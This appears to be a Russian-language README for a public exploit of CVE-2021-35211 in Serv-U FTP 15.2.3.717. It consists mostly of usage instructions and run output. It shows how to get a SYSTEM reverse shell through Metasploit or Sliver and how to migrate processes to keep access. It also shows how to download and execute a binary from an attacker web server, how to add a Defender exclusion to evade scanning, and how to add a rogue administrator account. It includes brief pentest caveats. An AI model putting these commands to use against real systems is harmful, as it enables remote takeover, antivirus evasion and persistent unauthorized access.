0xhaggis/cve-2021-35211Эксплойт Serv-U-FTP CVE-2021-35211
Эксплойт срабатывает не каждый раз, но достаточно часто, чтобы выполнить шелл-код примерно в 1 из 5 или 6 запусков. Однако иногда неудачная попытка вызывает сбой сервера Serv-U. Убедитесь, что ваши правила взаимодействия допускают риск потери или ухудшения работы сервиса. Симптомы, наблюдавшиеся при тестировании, включают:
Caveat emptor.
Версии важны. Этот эксплойт использует жестко заданные ROP-адреса, действительные только для версии Serv-U 15.2.3.717. Возможно, мы сможем добавить другие версии; пожалуйста, спросите, если вам нужна поддержка других версий Serv-U или Windows.
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717
Он принимает следующие аргументы:
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...
Есть три режима (или полезные нагрузки), которые можно запустить при успешной атаке:
stageexecdownloadexecПри успешном эксплойте запускает загрузчик шелл-кода, совместимый с Metasploit/Sliver. Это наименее надежная из всех полезных нагрузок; рассмотрите downloadexec1. Запускается так:
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort
positional arguments:
stageHost Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
stagePort Port number for your staging instance
optional arguments:
-h, --help show this help message and exit
stageHost и stagePort указывают на слушающий обработчик на вашей машине со Sliver/Metasploit. Вы можете выбрать любую полезную нагрузку, но я обнаружил, что единственная, которая работает надежно, — это windows/x64/shell/reverse_tcp. Это досадно, потому что это незашифрованная оболочка, и вам нужно проверить свои правила взаимодействия, прежде чем использовать что-то подобное.
Опять же, caveat emptor.
Настройте его в Metasploit, работающем на вашей Kali, так:
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.
Затем запустите эксплойт:
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Вернувшись на Kali, вы должны увидеть запрос этапа и запуск командной оболочки:
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000
msf5 >sessions -i 6
[*] Starting interaction with 6...
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system
Поддержка Sliver в полезной нагрузке загрузчика является экспериментальной и редко работает. Если она сработает, вы обычно увидите, как сессия запускается и сразу умирает. Но если вы получите сессию, которая не завершается немедленно, вы сможете предпринять шаги для поддержания доступа к Sliver, перейдя в другой процесс.
На вашем сервере Sliver выполните команду stage-listener, чтобы настроить слушателя. Смотрите документацию Sliver для подробностей о загрузчиках:
elvis@h:/ehome/haggis$ sudo sliver-server
███████╗██╗ ██╗██╗ ██╗███████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options
[*] Check for updates with the 'update' command
sliver >
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode
Запустите эксплойт в режиме stage:
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Если эксплойт сработает (а это очень редко случается с полезными нагрузками Sliver или Meterpreter), вы увидите что-то подобное (и да, Sliver сам придумал это имя полезной нагрузки!):
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC
sliver > sessions -i 4
[*] Active session ARTISTIC_PANTIES (4)
sliver (ARTISTIC_PANTIES) > info
ID: 4
Name: ARTISTIC_PANTIES
Hostname: WIN-EMCK6E5O0DI
UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
Username: NT AUTHORITY\SYSTEM
UID: S-1-5-18
GID: S-1-5-18
PID: 3956
OS: windows
Version: Server 2016 build 20348 x86_64
Arch: amd64
Remote Address: example.com:57071
Proxy URL: none
Poll Interval: 1
Reconnect Interval: 60
Первое, что вы должны сделать, — это перейти в другой процесс, потому что есть большая вероятность, что ваша сессия Sliver умрет и не вернется, и на момент написания я не знаю первопричину.
sliver (ARTISTIC_PANTIES) > ps
pid ppid owner executable session
=== ==== ===== ========== =======
0 0 [System Process] -1
4 0 System 0
...
3872 728 NT AUTHORITY\SYSTEM svchost.exe 0
4868 728 BUILTIN\Administrators Serv-U.exe 0
4636 868 BUILTIN\Administrators dllhost.exe 0
sliver (ARTISTIC_PANTIES) > migrate 3872
[*] Successfully migrated to 3872
На этом этапе у вас должна быть стабильная сессия Sliver, не подверженная капризам Serv-U и этого эксплойта.
Наиболее надежный режим, с наименьшей вероятностью быть обнаруженным конечной защитой Microsoft Defender. Это связано с тем, что он использует команду PowerShell (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") для добавления исключения каталога в Microsoft Defender, чтобы бинарные файлы Sliver/Meterpreter/другие не сканировались на наличие вредоносного ПО. Это защитит вас от Windows Defender, но и только; вам нужно будет учесть другие технологии конечной безопасности, сетевые IDS и т.д.
При успехе загружает бинарный файл по URL и выполняет его. Вам понадобится веб-сервер, обслуживающий ваш исполняемый файл. Я использовал Python, но, пожалуйста, учтите, что я тестирую в локальной сети без SSL. В реальных эксплойтах вам нужно проверить свои правила взаимодействия, если вы хотите использовать незашифрованные URL.
Не в первый раз: caveat emptor.
Запустите простой HTTP-слушатель так:
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
С запущенным слушателем вы можете запустить эксплойт:
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Вы должны увидеть что-то подобное в вашем слушателе:
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -
Цель выполнит calc.exe и перезапустит сервис Serv-U, чтобы пользователи снова могли подключаться. Обратите внимание, что исполняемый файл не будет отображать окно, но если вы запустите этот пример, вы должны увидеть wincalc.exe в Диспетчере задач.
При успехе выполняет команду на цели. Запустите так:
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Этот эксплойт, к сожалению, часто приводит к сбою удаленного процесса. Обычно он перезапускается, и я пытаюсь сделать его более стабильным, но до тех пор, пожалуйста, помните: проверьте свои правила взаимодействия и caveat emptor.